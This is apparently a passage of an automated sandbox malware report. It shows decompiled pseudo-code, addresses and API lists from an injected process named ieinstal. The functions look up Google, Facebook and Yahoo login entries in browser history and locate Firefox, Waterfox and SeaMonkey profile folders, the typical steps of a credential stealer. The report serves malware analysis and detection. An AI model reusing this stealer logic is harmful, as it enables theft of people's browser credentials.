				 *((intOrPtr*)(_t58 + 0x240)) = 0;
				 *_t58 = 0x453d74;
				 *((intOrPtr*)(_t58 + 0x68c)) = 0;
				 *((intOrPtr*)(_t58 + 0x6b8)) = 0;
				 *((intOrPtr*)(_t58 + 0x6a8)) = 0x44e97c;
				_t31 = memset(_t58 + 0x6bc, 0, 0x10);
				 *((short*)(_t58 + 0x10f0)) = 0;
				 *((intOrPtr*)(_t58 + 0x30f0)) = 1;
				 *((intOrPtr*)(_t58 + 0x30f4)) = 1;
				 *((intOrPtr*)(_t58 + 0x6ac)) = 0x72;
				 *((intOrPtr*)(_t58 + 0x10e4)) = 0;
				 *((intOrPtr*)(_t58 + 0x10e8)) = 0;
				0x44665e(0x2a88); // executed
				_t54 = _t31;
				if(_t54 == 0) {
					_t54 = 0;
					__eflags = 0;
				} else {
					_t13 = _t54 + 0x1c; // 0x1c
					_t31 = E00402850(_t13);
					 *((short*)(_t54 + 0xa80)) = 0;
					 *((intOrPtr*)(_t54 + 0x2a80)) = 1;
					 *((intOrPtr*)(_t54 + 0x2a84)) = 1;
					 *0x45d338 = _t54;
				}
				 *(_t58 + 0x690) = _t54;
				0x44665e();
				_t55 = _t31;
				_t62 = _t55;
				_t47 = 0x350;
				if(_t55 == 0) {
					_t32 = 0;
					__eflags = 0;
				} else {
					E0040E820(_t55, _t62);
					_t18 = _t55 + 0x330; // 0x330
					 *_t55 = 0x44e628;
					E0040A889(_t18);
					_t32 = _t55;
				}
				 *(_t58 + 0x694) = _t32;
				 *((intOrPtr*)(_t58 + 0x274)) = 0;
				0x444722(0xe);
				E004010F9(_t58 + 0x48a, _t47, 0x4591e4);
				 *((intOrPtr*)(_t58 + 0x274)) = 0;
				 *((intOrPtr*)(_t58 + 0x27c)) = 0;
				 *((intOrPtr*)(_t58 + 0x278)) = 0;
				 *((intOrPtr*)(_t58 + 0x270)) = 0;
				 *((intOrPtr*)(_t58 + 0x698)) = 0;
				_t36 = LoadIconW(GetModuleHandleW(0), 0x65);
				_t48 = 9;
				wcscpy(_t58 + 4, E0040A7BE(_t48));
				 *(_t58 + 0x204) = _t36;
				return _t58;
			}















                                                                                                                            0x00412467
                                                                                                                            0x00412471
                                                                                                                            0x00412477
                                                                                                                            0x00412484
                                                                                                                            0x0041248c
                                                                                                                            0x00412492
                                                                                                                            0x0041249c
                                                                                                                            0x004124a3
                                                                                                                            0x004124ab
                                                                                                                            0x004124b1
                                                                                                                            0x004124bc
                                                                                                                            0x004124c6
                                                                                                                            0x004124cc
                                                                                                                            0x004124d2
                                                                                                                            0x004124d7
                                                                                                                            0x004124de
                                                                                                                            0x00412503
                                                                                                                            0x00412503
                                                                                                                            0x004124e0
                                                                                                                            0x004124e0
                                                                                                                            0x004124e3
                                                                                                                            0x004124e8
                                                                                                                            0x004124ef
                                                                                                                            0x004124f5
                                                                                                                            0x004124fb
                                                                                                                            0x004124fb
                                                                                                                            0x0041250a
                                                                                                                            0x00412510
                                                                                                                            0x00412515
                                                                                                                            0x00412517
                                                                                                                            0x00412519
                                                                                                                            0x0041251a
                                                                                                                            0x00412536
                                                                                                                            0x00412536
                                                                                                                            0x0041251c
                                                                                                                            0x0041251c
                                                                                                                            0x00412521
                                                                                                                            0x00412527
                                                                                                                            0x0041252d
                                                                                                                            0x00412532
                                                                                                                            0x00412532
                                                                                                                            0x00412540
                                                                                                                            0x00412546
                                                                                                                            0x0041254c
                                                                                                                            0x0041255c
                                                                                                                            0x00412564
                                                                                                                            0x0041256a
                                                                                                                            0x00412570
                                                                                                                            0x00412576
                                                                                                                            0x0041257c
                                                                                                                            0x0041258b
                                                                                                                            0x00412593
                                                                                                                            0x004125a0
                                                                                                                            0x004125a8
                                                                                                                            0x004125b3

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                                                            • String ID: r!A
                                                                                                                            • API String ID: 2791114272-628097481
                                                                                                                            • Opcode ID: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                            • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                                                            • Opcode Fuzzy Hash: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                            • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 86%
                                                                                                                            			E0040C768(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				short _v8;
				char _v12;
				intOrPtr _v16;
				short _v4124;
				void* __esi;
				void* _t44;
				void* _t47;
				int _t53;
				void* _t55;
				void* _t58;
				void* _t59;
				wchar_t* _t69;
				void* _t77;
				void* _t78;

				_t78 = __eflags;
				_t59 = __ecx;
				_t58 = __ebx;
				0x44db70();
				_t67 = __ebx + 8;
				 *((intOrPtr*)(__ebx + 4)) = 0x80000001;
				E0040B1AB(__ebx + 8);
				E0040B1AB(__ebx + 0x28);
				E0040B1AB(__ebx + 0x48);
				E0040AA04(__ebx + 0x68);
				E0040C274(__ebx, __edx, _t78); // executed
				E0040A8AB(__ebx + 8, "https://www.google.com/accounts/servicelogin", 0);
				E0040A8AB(_t67, "http://www.facebook.com/", 0);
				E0040A8AB(_t67, "https://login.yahoo.com/config/login", 0);
				E0040C3C3(_t59, _t78, __ebx); // executed
				_v16 = __ebx + 0x7c;
				_t44 = E00405337(__ebx + 0x7c,  &_v12);
				if(_t44 == 0) {
					L7:
					return _t44;
				}
				_t80 =  *((intOrPtr*)(__ebx + 0x24));
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x24)) <= 0) {
					L6:
					_t44 = E004053FE(_v16, _v12);
					goto L7;
				} else {
					goto L2;
				}
				do {
					L2:
					_t47 = E0040A9B5(_t58 + 8, _v8);
					_t69 =  &_v4124;
					_v4124 = 0;
					E0040A706(_t47);
					0x4466ca(_t69);
					E0040C634(_t80, _t58, _v12, _t69); // executed
					_t53 = wcslen(_t69);
					if(_t53 > 0) {
						_t55 = _t53 + _t53;
						_t82 =  *((short*)(_t77 + _t55 - 0x101a)) - 0x2f;
						if( *((short*)(_t77 + _t55 - 0x101a)) != 0x2f) {
							 *((short*)(_t77 + _t55 - 0x1018)) = 0x2f;
							 *((short*)(_t77 + _t55 - 0x1016)) = 0;
							E0040C634(_t82, _t58, _v12, _t69);
						}
					}
					_v8 = _v8 + 1;
				} while (_v8 <  *((intOrPtr*)(_t58 + 0x24)));
				goto L6;
			}

















                                                                                                                            0x0040c768
                                                                                                                            0x0040c768
                                                                                                                            0x0040c768
                                                                                                                            0x0040c770
                                                                                                                            0x0040c777
                                                                                                                            0x0040c77c
                                                                                                                            0x0040c783
                                                                                                                            0x0040c78b
                                                                                                                            0x0040c793
                                                                                                                            0x0040c79b
                                                                                                                            0x0040c7a2
                                                                                                                            0x0040c7b1
                                                                                                                            0x0040c7be
                                                                                                                            0x0040c7cb
                                                                                                                            0x0040c7d1
                                                                                                                            0x0040c7dd
                                                                                                                            0x0040c7e0
                                                                                                                            0x0040c7e7
                                                                                                                            0x0040c877
                                                                                                                            0x0040c87a
                                                                                                                            0x0040c87a
                                                                                                                            0x0040c7ed
                                                                                                                            0x0040c7f0
                                                                                                                            0x0040c7f3
                                                                                                                            0x0040c86c
                                                                                                                            0x0040c872
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c7f5
                                                                                                                            0x0040c7f5
                                                                                                                            0x0040c7fb
                                                                                                                            0x0040c801
                                                                                                                            0x0040c807
                                                                                                                            0x0040c80e
                                                                                                                            0x0040c817
                                                                                                                            0x0040c824
                                                                                                                            0x0040c82c
                                                                                                                            0x0040c834
                                                                                                                            0x0040c836
                                                                                                                            0x0040c838
                                                                                                                            0x0040c841
                                                                                                                            0x0040c843
                                                                                                                            0x0040c84d
                                                                                                                            0x0040c85c
                                                                                                                            0x0040c85c
                                                                                                                            0x0040c841
                                                                                                                            0x0040c861
                                                                                                                            0x0040c867
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                                                                                                                              • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                                                                                                                              • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                                                                                                                              • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                                                              • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                              • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                                                              • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                                                              • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                              • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                                                              • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                                                              • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                              • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                                                              • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                                                              • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                            • _wcslwr.MSVCRT ref: 0040C817
                                                                                                                              • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                                                              • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                                                            • wcslen.MSVCRT ref: 0040C82C
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$??3@$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                                                            • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                                                            • API String ID: 62308376-4196376884
                                                                                                                            • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                            • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                                                            • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                            • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00403C9C(void* __ecx, void* __eflags, intOrPtr _a4) {
				int _v12;
				intOrPtr _v16;
				char _v44;
				void _v574;
				int _v576;
				void _v1102;
				char _v1104;
				void _v1630;
				char _v1632;
				void _v2158;
				char _v2160;
				void _v2686;
				char _v2688;
				void _v3214;
				char _v3216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t51;
				void* _t74;
				void* _t84;
				int _t87;
				void* _t91;
				void* _t93;
				void* _t94;

				_t94 = __eflags;
				_t84 = __ecx;
				_t87 = 0;
				_v1104 = 0;
				memset( &_v1102, 0, 0x208);
				_v2688 = 0;
				memset( &_v2686, 0, 0x208);
				_v1632 = 0;
				memset( &_v1630, 0, 0x208);
				_v2160 = 0;
				memset( &_v2158, 0, 0x208);
				_v3216 = 0;
				memset( &_v3214, 0, 0x208);
				_t49 = 0x1a;
				E00414C2E(_t49,  &_v1104);
				_t51 = 0x1c;
				E00414C2E(_t51,  &_v2688);
				E00409D1F( &_v1632,  &_v1104, "Waterfox\Profiles", 0x104);
				E00409D1F( &_v2160,  &_v2688, "Waterfox\Profiles", 0x104);
				E00409D1F( &_v3216,  &_v1104, "Waterfox", 0x104);
				_t93 = _t91 + 0x60;
				E00403AF5(_t84, _t94,  &_v1632, _a4, 1); // executed
				E00403AF5(_t84, _t94,  &_v2160, _a4, 1); // executed
				E0040414F(_t94,  &_v3216, E0040A889( &_v44)); // executed
				_v12 = 0;
				if(_v16 > 0) {
					while(1) {
						_v576 = _t87;
						memset( &_v574, _t87, 0x208);
						_t93 = _t93 + 0xc;
						_t74 = E0040A9B5( &_v44, _v12);
						_t88 =  &_v576;
						E004099C6(0x104,  &_v576, _t74);
						if(_v576 != 0) {
							E0040A8AB(_a4, _t88, 1);
						}
						_v12 = _v12 + 1;
						if(_v12 >= _v16) {
							goto L6;
						}
						_t87 = 0;
						__eflags = 0;
					}
				}
				L6:
				return E0040B1AB( &_v44);
			}





























                                                                                                                            0x00403c9c
                                                                                                                            0x00403c9c
                                                                                                                            0x00403cad
                                                                                                                            0x00403cb8
                                                                                                                            0x00403cbf
                                                                                                                            0x00403ccd
                                                                                                                            0x00403cd4
                                                                                                                            0x00403ce2
                                                                                                                            0x00403ce9
                                                                                                                            0x00403cf7
                                                                                                                            0x00403cfe
                                                                                                                            0x00403d0c
                                                                                                                            0x00403d13
                                                                                                                            0x00403d1a
                                                                                                                            0x00403d21
                                                                                                                            0x00403d28
                                                                                                                            0x00403d2f
                                                                                                                            0x00403d4c
                                                                                                                            0x00403d67
                                                                                                                            0x00403d7f
                                                                                                                            0x00403d84
                                                                                                                            0x00403d93
                                                                                                                            0x00403da4
                                                                                                                            0x00403db9
                                                                                                                            0x00403dbe
                                                                                                                            0x00403dc4
                                                                                                                            0x00403dca
                                                                                                                            0x00403dd3
                                                                                                                            0x00403dda
                                                                                                                            0x00403de2
                                                                                                                            0x00403de8
                                                                                                                            0x00403df0
                                                                                                                            0x00403df6
                                                                                                                            0x00403e04
                                                                                                                            0x00403e0e
                                                                                                                            0x00403e0e
                                                                                                                            0x00403e13
                                                                                                                            0x00403e1c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00403dc8
                                                                                                                            0x00403dc8
                                                                                                                            0x00403dc8
                                                                                                                            0x00403dca
                                                                                                                            0x00403e1e
                                                                                                                            0x00403e2a

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00403CBF
                                                                                                                            • memset.MSVCRT ref: 00403CD4
                                                                                                                            • memset.MSVCRT ref: 00403CE9
                                                                                                                            • memset.MSVCRT ref: 00403CFE
                                                                                                                            • memset.MSVCRT ref: 00403D13
                                                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                            • memset.MSVCRT ref: 00403DDA
                                                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                            • String ID: Waterfox$Waterfox\Profiles
                                                                                                                            • API String ID: 3527940856-11920434
                                                                                                                            • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                            • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                                                            • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                            • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00403E2D(void* __ecx, void* __eflags, intOrPtr _a4) {
				int _v12;
				intOrPtr _v16;
				char _v44;
				void _v574;
				int _v576;
				void _v1102;
				char _v1104;
				void _v1630;
				char _v1632;
				void _v2158;
				char _v2160;
				void _v2686;
				char _v2688;
				void _v3214;
				char _v3216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t51;
				void* _t74;
				void* _t84;
				int _t87;
				void* _t91;
				void* _t93;
				void* _t94;

				_t94 = __eflags;
				_t84 = __ecx;
				_t87 = 0;
				_v1104 = 0;
				memset( &_v1102, 0, 0x208);
				_v2688 = 0;
				memset( &_v2686, 0, 0x208);
				_v1632 = 0;
				memset( &_v1630, 0, 0x208);
				_v2160 = 0;
				memset( &_v2158, 0, 0x208);
				_v3216 = 0;
				memset( &_v3214, 0, 0x208);
				_t49 = 0x1a;
				E00414C2E(_t49,  &_v1104);
				_t51 = 0x1c;
				E00414C2E(_t51,  &_v2688);
				E00409D1F( &_v1632,  &_v1104, "Mozilla\SeaMonkey\Profiles", 0x104);
				E00409D1F( &_v2160,  &_v2688, "Mozilla\SeaMonkey\Profiles", 0x104);
				E00409D1F( &_v3216,  &_v1104, "Mozilla\SeaMonkey", 0x104);
				_t93 = _t91 + 0x60;
				E00403AF5(_t84, _t94,  &_v1632, _a4, 1); // executed
				E00403AF5(_t84, _t94,  &_v2160, _a4, 1); // executed
				E0040414F(_t94,  &_v3216, E0040A889( &_v44)); // executed
				_v12 = 0;
				if(_v16 > 0) {
					while(1) {
						_v576 = _t87;
						memset( &_v574, _t87, 0x208);
						_t93 = _t93 + 0xc;
						_t74 = E0040A9B5( &_v44, _v12);
						_t88 =  &_v576;
						E004099C6(0x104,  &_v576, _t74);
						if(_v576 != 0) {
							E0040A8AB(_a4, _t88, 1);
						}
						_v12 = _v12 + 1;
						if(_v12 >= _v16) {
							goto L6;
						}
						_t87 = 0;
						__eflags = 0;
					}
				}
				L6:
				return E0040B1AB( &_v44);
			}





























                                                                                                                            0x00403e2d
                                                                                                                            0x00403e2d
                                                                                                                            0x00403e3e
                                                                                                                            0x00403e49
                                                                                                                            0x00403e50
                                                                                                                            0x00403e5e
                                                                                                                            0x00403e65
                                                                                                                            0x00403e73
                                                                                                                            0x00403e7a
                                                                                                                            0x00403e88
                                                                                                                            0x00403e8f
                                                                                                                            0x00403e9d
                                                                                                                            0x00403ea4
                                                                                                                            0x00403eab
                                                                                                                            0x00403eb2
                                                                                                                            0x00403eb9
                                                                                                                            0x00403ec0
                                                                                                                            0x00403edd
                                                                                                                            0x00403ef8
                                                                                                                            0x00403f10
                                                                                                                            0x00403f15
                                                                                                                            0x00403f24
                                                                                                                            0x00403f35
                                                                                                                            0x00403f4a
                                                                                                                            0x00403f4f
                                                                                                                            0x00403f55
                                                                                                                            0x00403f5b
                                                                                                                            0x00403f64
                                                                                                                            0x00403f6b
                                                                                                                            0x00403f73
                                                                                                                            0x00403f79
                                                                                                                            0x00403f81
                                                                                                                            0x00403f87
                                                                                                                            0x00403f95
                                                                                                                            0x00403f9f
                                                                                                                            0x00403f9f
                                                                                                                            0x00403fa4
                                                                                                                            0x00403fad
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00403f59
                                                                                                                            0x00403f59
                                                                                                                            0x00403f59
                                                                                                                            0x00403f5b
                                                                                                                            0x00403faf
                                                                                                                            0x00403fbb

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00403E50
                                                                                                                            • memset.MSVCRT ref: 00403E65
                                                                                                                            • memset.MSVCRT ref: 00403E7A
                                                                                                                            • memset.MSVCRT ref: 00403E8F
                                                                                                                            • memset.MSVCRT ref: 00403EA4
                                                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                            • memset.MSVCRT ref: 00403F6B
                                                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                            • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                                                            • API String ID: 3527940856-2068335096
                                                                                                                            • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                            • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                                                            • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                            • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00403FBE(void* __ecx, void* __eflags, intOrPtr _a4) {
				int _v12;
				intOrPtr _v16;
				char _v44;
				void _v574;
				int _v576;
				void _v1102;
				char _v1104;
				void _v1630;
				char _v1632;
				void _v2158;
				char _v2160;
				void _v2686;
				char _v2688;
				void _v3214;
				char _v3216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t51;
				void* _t74;
				void* _t84;
				int _t87;
				void* _t91;
				void* _t93;
				void* _t94;

				_t94 = __eflags;
				_t84 = __ecx;
				_t87 = 0;
				_v1104 = 0;
				memset( &_v1102, 0, 0x208);
				_v2688 = 0;
				memset( &_v2686, 0, 0x208);
				_v1632 = 0;
				memset( &_v1630, 0, 0x208);
				_v2160 = 0;
				memset( &_v2158, 0, 0x208);
				_v3216 = 0;
				memset( &_v3214, 0, 0x208);
				_t49 = 0x1a;
				E00414C2E(_t49,  &_v1104);
				_t51 = 0x1c;
				E00414C2E(_t51,  &_v2688);
				E00409D1F( &_v1632,  &_v1104, "Mozilla\Firefox\Profiles", 0x104);
				E00409D1F( &_v2160,  &_v2688, "Mozilla\Firefox\Profiles", 0x104);
				E00409D1F( &_v3216,  &_v1104, "Mozilla\Firefox", 0x104);
				_t93 = _t91 + 0x60;
				E00403AF5(_t84, _t94,  &_v1632, _a4, 1); // executed
				E00403AF5(_t84, _t94,  &_v2160, _a4, 1); // executed
				E0040414F(_t94,  &_v3216, E0040A889( &_v44)); // executed
				_v12 = 0;
				if(_v16 > 0) {
					while(1) {
						_v576 = _t87;
						memset( &_v574, _t87, 0x208);
						_t93 = _t93 + 0xc;
						_t74 = E0040A9B5( &_v44, _v12);
						_t88 =  &_v576;
						E004099C6(0x104,  &_v576, _t74);
						if(_v576 != 0) {
							E0040A8AB(_a4, _t88, 1);
						}
						_v12 = _v12 + 1;
						if(_v12 >= _v16) {
							goto L6;
						}
						_t87 = 0;
						__eflags = 0;
					}
				}
				L6:
				return E0040B1AB( &_v44);
			}





























                                                                                                                            0x00403fbe
                                                                                                                            0x00403fbe
                                                                                                                            0x00403fcf
                                                                                                                            0x00403fda
                                                                                                                            0x00403fe1
                                                                                                                            0x00403fef
                                                                                                                            0x00403ff6
                                                                                                                            0x00404004
                                                                                                                            0x0040400b
                                                                                                                            0x00404019
                                                                                                                            0x00404020
                                                                                                                            0x0040402e
                                                                                                                            0x00404035
                                                                                                                            0x0040403c
                                                                                                                            0x00404043
                                                                                                                            0x0040404a
                                                                                                                            0x00404051
                                                                                                                            0x0040406e
                                                                                                                            0x00404089
                                                                                                                            0x004040a1
                                                                                                                            0x004040a6
                                                                                                                            0x004040b5
                                                                                                                            0x004040c6
                                                                                                                            0x004040db
                                                                                                                            0x004040e0
                                                                                                                            0x004040e6
                                                                                                                            0x004040ec
                                                                                                                            0x004040f5
                                                                                                                            0x004040fc
                                                                                                                            0x00404104
                                                                                                                            0x0040410a
                                                                                                                            0x00404112
                                                                                                                            0x00404118
                                                                                                                            0x00404126
                                                                                                                            0x00404130
                                                                                                                            0x00404130
                                                                                                                            0x00404135
                                                                                                                            0x0040413e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004040ea
                                                                                                                            0x004040ea
                                                                                                                            0x004040ea
                                                                                                                            0x004040ec
                                                                                                                            0x00404140
                                                                                                                            0x0040414c

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00403FE1
                                                                                                                            • memset.MSVCRT ref: 00403FF6
                                                                                                                            • memset.MSVCRT ref: 0040400B
                                                                                                                            • memset.MSVCRT ref: 00404020
                                                                                                                            • memset.MSVCRT ref: 00404035
                                                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
